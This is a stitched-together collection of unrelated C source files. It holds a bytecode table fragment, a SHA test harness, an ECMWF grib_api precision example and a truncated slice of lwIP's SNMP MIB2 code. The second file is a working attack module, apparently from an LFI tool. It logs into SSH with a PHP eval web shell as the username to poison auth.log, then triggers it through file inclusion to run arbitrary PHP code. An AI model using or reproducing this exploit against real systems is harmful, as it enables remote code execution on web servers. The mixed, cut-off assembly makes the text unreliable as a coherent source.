/* 41447 */ 02,017,0176,0,
/* 41451 */ 0321,01,0253,0,
/* 41455 */ 0324,01,0253,0,
/* 41459 */ 0320,01,0253,0,
/* 41463 */ 01,054,021,0,
/* 41467 */ 02,017,064,0,
/* 41471 */ 02,017,065,0,
/* 41475 */ 01,0204,0101,0,
/* 41479 */ 01,0204,0110,0,
/* 41483 */ 01,0250,021,0,
/* 41487 */ 02,017,0377,0,
/* 41491 */ 02,017,0271,0,
/* 41495 */ 02,017,013,0,
/* 41499 */ 02,017,060,0,
/* 41503 */ 0320,011,0220,0,
/* 41507 */ 0321,011,0220,0,
/* 41511 */ 0324,011,0220,0,
/* 41515 */ 0320,010,0220,0,
/* 41519 */ 0321,010,0220,0,
/* 41523 */ 0324,010,0220,0,
/* 41527 */ 0321,01,0220,0,
/* 41531 */ 01,064,021,0,
/* 41535 */ 02,017,067,0,
/* 41539 */ 01,067,0,
/* 41542 */ 01,077,0,
/* 41545 */ 01,0365,0,
/* 41548 */ 01,047,0,
/* 41551 */ 01,057,0,
/* 41554 */ 01,0364,0,
/* 41557 */ 01,0361,0,
/* 41560 */ 01,0354,0,
/* 41563 */ 01,0154,0,
/* 41566 */ 01,0314,0,
/* 41569 */ 01,0316,0,
/* 41572 */ 01,0237,0,
/* 41575 */ 01,0254,0,
/* 41578 */ 01,0156,0,
/* 41581 */ 01,0375,0,
};
/*
* Bytecode frequencies (including reuse):
*
* 0:6609 | 40: 2 | 100: 49 | 140: 0 | 200: 120 | 240: 638 | 300: 0 | 340: 1
* 1:5983 | 41: 37 | 101: 577 | 141: 0 | 201: 92 | 241: 849 | 301: 0 | 341: 10
* 2:1045 | 42: 12 | 102: 14 | 142: 0 | 202: 110 | 242: 0 | 302: 0 | 342: 0
* 3: 207 | 43: 0 | 103: 0 | 143: 0 | 203: 89 | 243: 0 | 303: 0 | 343: 0
* 4: 0 | 44: 4 | 104: 0 | 144: 0 | 204: 121 | 244: 0 | 304: 0 | 344: 0
* 5: 0 | 45: 4 | 105: 0 | 145: 0 | 205: 85 | 245: 0 | 305: 0 | 345: 0
* 6: 0 | 46: 0 | 106: 0 | 146: 0 | 206: 109 | 246: 0 | 306: 0 | 346: 0
* 7: 0 | 47: 0 | 107: 0 | 147: 0 | 207: 88 | 247: 0 | 307: 0 | 347: 0
* 10: 73 | 50: 28 | 110:2684 | 150: 0 | 210: 8 | 250: 748 | 310: 10 | 350: 0
* 11: 26 | 51: 0 | 111: 0 | 151: 0 | 211: 14 | 251: 0 | 311: 10 | 351: 0
* 12: 0 | 52: 0 | 112: 0 | 152: 0 | 212: 19 | 252: 0 | 312: 5 | 352: 0
* 13: 0 | 53: 0 | 113: 0 | 153: 0 | 213: 9 | 253: 0 | 313: 10 | 353: 0
* 14: 0 | 54: 0 | 114: 0 | 154: 0 | 214: 15 | 254: 2 | 314: 1 | 354: 0
* 15: 2 | 55: 1 | 115: 0 | 155: 0 | 215: 2 | 255: 23 | 315: 0 | 355: 0
* 16: 4 | 56: 0 | 116: 0 | 156: 0 | 216: 19 | 256: 2 | 316: 0 | 356: 0
* 17: 0 | 57: 0 | 117: 0 | 157: 0 | 217: 7 | 257: 0 | 317: 19 | 357: 0
* 20: 2 | 60: 0 | 120:1804 | 160: 0 | 220: 0 | 260: 800 | 320: 347 | 360: 194
* 21: 107 | 61: 0 | 121: 0 | 161: 0 | 221: 0 | 261: 979 | 321: 356 | 361: 260
* 22: 386 | 62: 0 | 122: 0 | 162: 0 | 222: 0 | 262: 38 | 322: 23 | 362: 0
* 23: 206 | 63: 0 | 123: 0 | 163: 0 | 223: 0 | 263: 0 | 323: 132 | 363: 0
* 24: 6 | 64: 33 | 124: 0 | 164: 0 | 224: 0 | 264: 0 | 324: 324 | 364: 0
* 25: 67 | 65: 0 | 125: 0 | 165: 0 | 225: 0 | 265: 0 | 325: 1 | 365: 0
* 26: 68 | 66: 0 | 126: 0 | 166: 0 | 226: 0 | 266: 0 | 326: 13 | 366: 0
* 27: 1 | 67: 0 | 127: 0 | 167: 0 | 227: 0 | 267: 0 | 327: 0 | 367: 0
* 30: 24 | 70: 0 | 130: 35 | 170: 0 | 230: 0 | 270: 320 | 330: 17 | 370: 1
* 31: 36 | 71: 0 | 131: 0 | 171: 0 | 231: 0 | 271: 12 | 331: 6 | 371: 1
* 32: 4 | 72: 0 | 132: 0 | 172: 0 | 232: 0 | 272: 8 | 332: 57 | 372: 0
* 33: 0 | 73: 0 | 133: 0 | 173: 0 | 233: 0 | 273: 183 | 333: 78 | 373: 1
* 34: 6 | 74: 6 | 134: 0 | 174: 0 | 234: 0 | 274: 6 | 334: 2 | 374: 30
* 35: 2 | 75: 0 | 135: 0 | 175: 35 | 235: 0 | 275: 94 | 335: 8 | 375: 26
* 36: 0 | 76: 0 | 136: 0 | 176: 88 | 236: 0 | 276: 12 | 336: 8 | 376: 24
* 37: 0 | 77: 0 | 137: 0 | 177: 53 | 237: 0 | 277: 0 | 337: 0 | 377: 0
*/
|
719925.c | #include "techniques/auth-log-poison.h"
#include "request/request.h"
#include "string/utils.h"
#include "string/concat.h"
#include "string/base64.h"
#include "string/urlencode.h"
#include "io/utils.h"
#include "regex/pcre.h"
#include "output.h"
#include <libssh/libssh.h>
#include <sys/mman.h>
#include <string.h>
int auth_log_poison(const char *target, int port)
{
ssh_session ssh;
int res = 1;
ssh = ssh_new();
if (ssh == NULL)
return res;
ssh_options_set(ssh, SSH_OPTIONS_HOST, target);
if (port) {
ssh_options_set(ssh, SSH_OPTIONS_PORT, &port);
}
if (ssh_connect(ssh) != SSH_OK) {
printf("[-] failed to connect: %s\n", ssh_get_error(ssh));
} else {
if (ssh_userauth_password(ssh,
"<?php eval(\"?>\".base64_decode($_REQUEST['kadimus'])); exit(0); ?>",
"hereismypassword") == SSH_AUTH_ERROR) {
printf("[-] failed to send exploit\n");
} else {
res = 0;
}
ssh_disconnect(ssh);
}
ssh_free(ssh);
return res;
}
char *auth_log_rce(const char *target, const char *code)
{
char mark[8], regex[7 * 2 + 5], *res = NULL, *inject, **matches, buf[20], *mapfile;
int fd, size, len = 0;
request_t req;
FILE *fh;
randomstr(mark, sizeof(mark));
concatlb(regex, mark, "(.*)", mark, NULL);
char *phpcode = concatl(mark, code, mark, NULL);
char *b64 = b64encode(phpcode, strlen(phpcode));
char *escape = urlencode(b64);
inject = concatl("kadimus=", escape, NULL);
free(escape);
free(phpcode);
free(b64);
request_init_fh(&req);
if ((fh = randomfile(buf, 10)) == NULL)
die("error while generate tmp file\n");
curl_easy_setopt(req.ch, CURLOPT_URL, target);
curl_easy_setopt(req.ch, CURLOPT_POSTFIELDS, inject);
curl_easy_setopt(req.ch, CURLOPT_POSTFIELDSIZE, strlen(inject));
curl_easy_setopt(req.ch, CURLOPT_WRITEDATA, fh);
if (request_exec(&req)) {
free(inject);
goto end;
}
free(inject);
fclose(fh);
fd = openro(buf);
size = getfdsize(fd);
if (size) {
mapfile = (char *) mmap(0, size, PROT_READ, MAP_PRIVATE, fd, 0);
if (mapfile != MAP_FAILED) {
matches = regex_extract(&len, regex, mapfile, size, PCRE_DOTALL);
if (len > 0) {
res = xstrdup(matches[0]);
regex_free(matches, len);
}
munmap(mapfile, size);
}
}
close(fd);
unlink(buf);
end:
request_free(&req);
return res;
}
char *auth_log(url_t *url, const char *auth_file, const char *code, int pos)
{
char *target = buildurl(url, string_replace, auth_file, pos);
char *res = auth_log_rce(target, code);
free(target);
return res;
}
int check_auth_poison(const char *target)
{
int status;
char *rce = auth_log_rce(target, "<?php echo \"vulnerable...\"; ?>");
if (rce && !strcmp(rce, "vulnerable...")) {
status = 1;
free(rce);
} else {
status = 0;
}
return status;
}
void prepare_auth_log_rce(const char *url, const char *ssh_target, int ssh_port)
{
info("checking /var/log/auth.log poison ...\n");
if (check_auth_poison(url)) {
good("ok\n");
return;
}
info("error, trying inject code in log file ...\n");
if (auth_log_poison(ssh_target, ssh_port)) {
info("log injection done, checking file ...\n");
if (check_auth_poison(url)) {
good("injection sucessfull\n");
} else {
error("error\n");
exit(1);
}
} else {
error("error\n");
exit(1);
}
}
|
882183.c | // Copyright 2017 ETH Zurich and University of Bologna.
// Copyright and related rights are licensed under the Solderpad Hardware
// License, Version 0.51 (the “License”); you may not use this file except in
// compliance with the License. You may obtain a copy of the License at
// http://solderpad.org/licenses/SHL-0.51. Unless required by applicable law
// or agreed to in writing, software, hardware and materials distributed under
// this License is distributed on an “AS IS” BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#include "sha.h"
#include "common.h"
SHA_INFO sha_info __sram;
uint8_t data[256+16] __sram;
void test_setup() {
for (int i = 0; i != 256; ++i)
data[i] = i;
}
void test_clear() {}
void test_run() {
sha_init(&sha_info);
for(int n = 0; n < 4; ++n) {
sha_update(&sha_info, data + 4 * n, 256);
}
sha_final(&sha_info);
}
int test_check() {
uint32_t check_digest[5] = {
0x6df33e84,
0xbfb762a3,
0xd55acf9e,
0xf2dd5e59,
0xf4d61769
};
for (int i = 0; i < 5; i++) {
if (sha_info.digest[i] != check_digest[i])
return 0;
}
return 1;
}
|
754972.c | /*
* Copyright 2005-2016 ECMWF.
*
* This software is licensed under the terms of the Apache Licence Version 2.0
* which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
*
* In applying this licence, ECMWF does not waive the privileges and immunities granted to it by
* virtue of its status as an intergovernmental organisation nor does it submit to any jurisdiction.
*/
/*
* C Implementation: precision
*
* Description: how to control decimal precision when packing fields.
*
*
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include "grib_api.h"
int main(int argc, char** argv) {
int err = 0;
size_t size=0;
FILE* in = NULL;
char* infile = "../data/regular_latlon_surface.grib1";
FILE* out = NULL;
char* outfile = "out.grib1";
grib_handle *h = NULL;
const void* buffer = NULL;
double* values1=NULL;
double* values2=NULL;
double maxa=0,a=0;
double maxv=0,minv=0;
double maxr=0,r=0;
long decimalPrecision;
long bitsPerValue1=0, bitsPerValue2=0;
int i=0;
in = fopen(infile,"r");
if(!in) {
printf("ERROR: unable to open file %s\n",infile);
return 1;
}
out = fopen(outfile,"w");
if(!in) {
printf("ERROR: unable to open file %s\n",outfile);
return 1;
}
/* create a new handle from a message in a file */
h = grib_handle_new_from_file(0,in,&err);
if (h == NULL) {
printf("Error: unable to create handle from file %s\n",infile);
}
/* bitsPerValue before changing the packing parameters */
GRIB_CHECK(grib_get_long(h,"bitsPerValue",&bitsPerValue1),0);
/* get the size of the values array*/
GRIB_CHECK(grib_get_size(h,"values",&size),0);
values1 = malloc(size*sizeof(double));
/* get data values before changing the packing parameters*/
GRIB_CHECK(grib_get_double_array(h,"values",values1,&size),0);
/* setting decimal precision=2 means that 2 decimal digits
are preserved when packing. */
decimalPrecision=2;
GRIB_CHECK(grib_set_long(h,"setDecimalPrecision",decimalPrecision),0);
/* bitsPerValue after changing the packing parameters */
GRIB_CHECK(grib_get_long(h,"bitsPerValue",&bitsPerValue2),0);
values2 = malloc(size*sizeof(double));
/* get data values after changing the packing parameters*/
GRIB_CHECK(grib_get_double_array(h,"values",values2,&size),0);
/* computing error */
maxa=0;
maxr=0;
maxv=values2[0];
minv=maxv;
for (i=0;i<size;i++) {
a=fabs(values2[i]-values1[i]);
if ( values2[i] > maxv ) maxv=values2[i];
if ( values2[i] < maxv ) minv=values2[i];
if ( values2[i] !=0 ) r=fabs((values2[i]-values1[i])/values2[i]);
if ( a > maxa ) maxa=a;
if ( r > maxr ) maxr=r;
}
printf("max absolute error = %g\n",maxa);
printf("max relative error = %g\n",maxr);
printf("min value = %g\n",minv);
printf("max value = %g\n",maxv);
printf("old number of bits per value=%ld\n",(long)bitsPerValue1);
printf("new number of bits per value=%ld\n",(long)bitsPerValue2);
/* get the coded message in a buffer */
GRIB_CHECK(grib_get_message(h,&buffer,&size),0);
/* write the buffer in a file*/
if(fwrite(buffer,1,size,out) != size)
{
perror(argv[1]);
exit(1);
}
/* delete handle */
grib_handle_delete(h);
fclose(in);
fclose(out);
return 0;
}
|
860996.c | /**
* @file
* Management Information Base II (RFC1213) objects and functions.
*
* @note the object identifiers for this MIB-2 and private MIB tree
* must be kept in sorted ascending order. This to ensure correct getnext operation.
*/
/*
* Copyright (c) 2006 Axon Digital Design B.V., The Netherlands.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
* OF SUCH DAMAGE.
*
* Author: Dirk Ziegelmeier <[email protected]>
*/
#include "lwip/apps/snmp_opts.h"
#if LWIP_SNMP /* don't build if not configured for use in lwipopts.h */
#if SNMP_LWIP_MIB2
#if !LWIP_STATS
#error LWIP_SNMP MIB2 needs LWIP_STATS (for MIB2)
#endif
#if !MIB2_STATS
#error LWIP_SNMP MIB2 needs MIB2_STATS (for MIB2)
#endif
#include "lwip/snmp.h"
#include "lwip/apps/snmp.h"
#include "lwip/apps/snmp_core.h"
#include "lwip/apps/snmp_mib2.h"
#include "lwip/apps/snmp_scalar.h"
#include "lwip/apps/snmp_table.h"
#include "lwip/apps/snmp_threadsync.h"
#include "lwip/netif.h"
#include "lwip/ip.h"
#include "lwip/ip_frag.h"
#include "lwip/mem.h"
#include "lwip/priv/tcp_priv.h"
#include "lwip/udp.h"
#include "lwip/sys.h"
#include "netif/etharp.h"
#include "lwip/stats.h"
#include <string.h>
static u8_t
netif_to_num(const struct netif *netif)
{
u8_t result = 0;
struct netif *netif_iterator = netif_list;
while (netif_iterator != NULL) {
result++;
if(netif_iterator == netif) {
return result;
}
netif_iterator = netif_iterator->next;
}
LWIP_ASSERT("netif not found in netif_list", 0);
return 0;
}
#define MIB2_AUTH_TRAPS_ENABLED 1
#define MIB2_AUTH_TRAPS_DISABLED 2
#if SNMP_USE_NETCONN
#include "lwip/tcpip.h"
void
snmp_mib2_lwip_synchronizer(snmp_threadsync_called_fn fn, void* arg)
{
tcpip_callback_with_block(fn, arg, 1);
}
struct snmp_threadsync_instance snmp_mib2_lwip_locks;
#define SYNC_NODE_NAME(node_name) node_name ## _synced
#define CREATE_LWIP_SYNC_NODE(oid, node_name) \
static const struct snmp_threadsync_node node_name ## _synced = SNMP_CREATE_THREAD_SYNC_NODE(oid, &node_name.node, &snmp_mib2_lwip_locks);
#else
#define SYNC_NODE_NAME(node_name) node_name
#define CREATE_LWIP_SYNC_NODE(oid, node_name)
#endif
/* --- snmp .1.3.6.1.2.1.11 ----------------------------------------------------- */
static u16_t snmp_get_value(const struct snmp_scalar_array_node_def *node, void *value);
static snmp_err_t snmp_set_test(const struct snmp_scalar_array_node_def *node, u16_t len, void *value);
static snmp_err_t snmp_set_value(const struct snmp_scalar_array_node_def *node, u16_t len, void *value);
/* the following nodes access variables in SNMP stack (snmp_stats) from SNMP worker thread -> OK, no sync needed */
static const struct snmp_scalar_array_node_def snmp_nodes[] = {
{ 1, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInPkts */
{ 2, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutPkts */
{ 3, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInBadVersions */
{ 4, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInBadCommunityNames */
{ 5, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInBadCommunityUses */
{ 6, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInASNParseErrs */
{ 8, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInTooBigs */
{ 9, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInNoSuchNames */
{10, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInBadValues */
{11, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInReadOnlys */
{12, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInGenErrs */
{13, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInTotalReqVars */
{14, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInTotalSetVars */
{15, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInGetRequests */
{16, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInGetNexts */
{17, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInSetRequests */
{18, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInGetResponses */
{19, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpInTraps */
{20, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutTooBigs */
{21, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutNoSuchNames */
{22, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutBadValues */
{24, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutGenErrs */
{25, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutGetRequests */
{26, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutGetNexts */
{27, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutSetRequests */
{28, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutGetResponses */
{29, SNMP_ASN1_TYPE_COUNTER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpOutTraps */
{30, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_WRITE}, /* snmpEnableAuthenTraps */
{31, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY}, /* snmpSilentDrops */
{32, SNMP_ASN1_TYPE_INTEGER, SNMP_NODE_INSTANCE_READ_ONLY} /* snmpProxyDrops */
};
static const struct snmp_scalar_array_node snmp_root = SNMP_SCALAR_CREATE_ARRAY_NODE(11, snmp_nodes, snmp_get_value, snmp_set_test, snmp_set_value);
/* dot3 and EtherLike MIB not planned. (transmission .1.3.6.1.2.1.10) */
/* historical (some say hysterical). (cmot .1.3.6.1.2.1.9) */
/* lwIP has no EGP, thus may not implement it. (egp .1.3.6.1.2.1.8) */
/* --- udp .1.3.6.1.2.1.7 ----------------------------------------------------- */
#if LWIP_UDP
static u16_t udp_get_value(struct snmp_node_instance* instance, void* value);
static const struct snmp_scalar_node udp_inDatagrams = SNMP_SCALAR_CREATE_NODE_READONLY(1, SNMP_ASN1_TYPE_COUNTER, udp_get_value);
static const struct snmp_scalar_node udp_noPorts = SNMP_SCALAR_CREATE_NODE_READONLY(2, SNMP_ASN1_TYPE_COUNTER, udp_get_value);
static const struct snmp_scalar_node udp_inErrors = SNMP_SCALAR_CREATE_NODE_READONLY(3, SNMP_ASN1_TYPE_COUNTER, udp_get_value);
static const struct snmp_scalar_node udp_outDatagrams = SNMP_SCALAR_CREATE_NODE_READONLY(4, SNMP_ASN1_TYPE_COUNTER, udp_get_value);
static const struct snmp_scalar_node udp_HCInDatagrams = SNMP_SCALAR_CREATE_NODE_READONLY(8, SNMP_ASN1_TYPE_COUNTER64, udp_get_value);
static const struct snmp_scalar_node udp_HCOutDatagrams = SNMP_SCALAR_CREATE_NODE_READONLY(9, SNMP_ASN1_TYPE_COUNTER64, udp_get_value);
#if LWIP_IPV4
static snmp_err_t udp_Table_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t udp_Table_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static const struct snmp_table_simple_col_def udp_Table_columns[] = {
{ 1, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* udpLocalAddress */
{ 2, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 } /* udpLocalPort */
};
static const struct snmp_table_simple_node udp_Table = SNMP_TABLE_CREATE_SIMPLE(5, udp_Table_columns, udp_Table_get_cell_value, udp_Table_get_next_cell_instance_and_value);
#endif /* LWIP_IPV4 */
static snmp_err_t udp_endpointTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t udp_endpointTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static const struct snmp_table_simple_col_def udp_endpointTable_columns[] = {
/* all items except udpEndpointProcess are declared as not-accessible */
{ 8, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 } /* udpEndpointProcess */
};
static const struct snmp_table_simple_node udp_endpointTable = SNMP_TABLE_CREATE_SIMPLE(7, udp_endpointTable_columns, udp_endpointTable_get_cell_value, udp_endpointTable_get_next_cell_instance_and_value);
/* the following nodes access variables in LWIP stack from SNMP worker thread and must therefore be synced to LWIP (TCPIP) thread */
CREATE_LWIP_SYNC_NODE(1, udp_inDatagrams)
CREATE_LWIP_SYNC_NODE(2, udp_noPorts)
CREATE_LWIP_SYNC_NODE(3, udp_inErrors)
CREATE_LWIP_SYNC_NODE(4, udp_outDatagrams)
#if LWIP_IPV4
CREATE_LWIP_SYNC_NODE(5, udp_Table)
#endif /* LWIP_IPV4 */
CREATE_LWIP_SYNC_NODE(7, udp_endpointTable)
CREATE_LWIP_SYNC_NODE(8, udp_HCInDatagrams)
CREATE_LWIP_SYNC_NODE(9, udp_HCOutDatagrams)
static const struct snmp_node* const udp_nodes[] = {
&SYNC_NODE_NAME(udp_inDatagrams).node.node,
&SYNC_NODE_NAME(udp_noPorts).node.node,
&SYNC_NODE_NAME(udp_inErrors).node.node,
&SYNC_NODE_NAME(udp_outDatagrams).node.node,
#if LWIP_IPV4
&SYNC_NODE_NAME(udp_Table).node.node,
#endif /* LWIP_IPV4 */
&SYNC_NODE_NAME(udp_endpointTable).node.node,
&SYNC_NODE_NAME(udp_HCInDatagrams).node.node,
&SYNC_NODE_NAME(udp_HCOutDatagrams).node.node
};
static const struct snmp_tree_node udp_root = SNMP_CREATE_TREE_NODE(7, udp_nodes);
#endif /* LWIP_UDP */
/* --- tcp .1.3.6.1.2.1.6 ----------------------------------------------------- */
/* implement this group only, if the TCP protocol is available */
#if LWIP_TCP
static u16_t tcp_get_value(struct snmp_node_instance* instance, void* value);
static const struct snmp_scalar_node tcp_RtoAlgorithm = SNMP_SCALAR_CREATE_NODE_READONLY(1, SNMP_ASN1_TYPE_INTEGER, tcp_get_value);
static const struct snmp_scalar_node tcp_RtoMin = SNMP_SCALAR_CREATE_NODE_READONLY(2, SNMP_ASN1_TYPE_INTEGER, tcp_get_value);
static const struct snmp_scalar_node tcp_RtoMax = SNMP_SCALAR_CREATE_NODE_READONLY(3, SNMP_ASN1_TYPE_INTEGER, tcp_get_value);
static const struct snmp_scalar_node tcp_MaxConn = SNMP_SCALAR_CREATE_NODE_READONLY(4, SNMP_ASN1_TYPE_INTEGER, tcp_get_value);
static const struct snmp_scalar_node tcp_ActiveOpens = SNMP_SCALAR_CREATE_NODE_READONLY(5, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_PassiveOpens = SNMP_SCALAR_CREATE_NODE_READONLY(6, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_AttemptFails = SNMP_SCALAR_CREATE_NODE_READONLY(7, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_EstabResets = SNMP_SCALAR_CREATE_NODE_READONLY(8, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_CurrEstab = SNMP_SCALAR_CREATE_NODE_READONLY(9, SNMP_ASN1_TYPE_GAUGE, tcp_get_value);
static const struct snmp_scalar_node tcp_InSegs = SNMP_SCALAR_CREATE_NODE_READONLY(10, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_OutSegs = SNMP_SCALAR_CREATE_NODE_READONLY(11, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_RetransSegs = SNMP_SCALAR_CREATE_NODE_READONLY(12, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_InErrs = SNMP_SCALAR_CREATE_NODE_READONLY(14, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_OutRsts = SNMP_SCALAR_CREATE_NODE_READONLY(15, SNMP_ASN1_TYPE_COUNTER, tcp_get_value);
static const struct snmp_scalar_node tcp_HCInSegs = SNMP_SCALAR_CREATE_NODE_READONLY(17, SNMP_ASN1_TYPE_COUNTER64, tcp_get_value);
static const struct snmp_scalar_node tcp_HCOutSegs = SNMP_SCALAR_CREATE_NODE_READONLY(18, SNMP_ASN1_TYPE_COUNTER64, tcp_get_value);
#if LWIP_IPV4
static snmp_err_t tcp_ConnTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t tcp_ConnTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static const struct snmp_table_simple_col_def tcp_ConnTable_columns[] = {
{ 1, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* tcpConnState */
{ 2, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* tcpConnLocalAddress */
{ 3, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* tcpConnLocalPort */
{ 4, SNMP_ASN1_TYPE_IPADDR, SNMP_VARIANT_VALUE_TYPE_U32 }, /* tcpConnRemAddress */
{ 5, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 } /* tcpConnRemPort */
};
static const struct snmp_table_simple_node tcp_ConnTable = SNMP_TABLE_CREATE_SIMPLE(13, tcp_ConnTable_columns, tcp_ConnTable_get_cell_value, tcp_ConnTable_get_next_cell_instance_and_value);
#endif /* LWIP_IPV4 */
static snmp_err_t tcp_ConnectionTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t tcp_ConnectionTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static const struct snmp_table_simple_col_def tcp_ConnectionTable_columns[] = {
/* all items except tcpConnectionState and tcpConnectionProcess are declared as not-accessible */
{ 7, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 }, /* tcpConnectionState */
{ 8, SNMP_ASN1_TYPE_INTEGER, SNMP_VARIANT_VALUE_TYPE_U32 } /* tcpConnectionProcess */
};
static const struct snmp_table_simple_node tcp_ConnectionTable = SNMP_TABLE_CREATE_SIMPLE(19, tcp_ConnectionTable_columns, tcp_ConnectionTable_get_cell_value, tcp_ConnectionTable_get_next_cell_instance_and_value);
static snmp_err_t tcp_ListenerTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len);
static snmp_err_t tcp_ListenerTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len);
static const struct snmp_table_simple_col_def tcp_ListenerTable_columns[] = {
/* all items except tcpListenerProcess are declared as not-accessible */
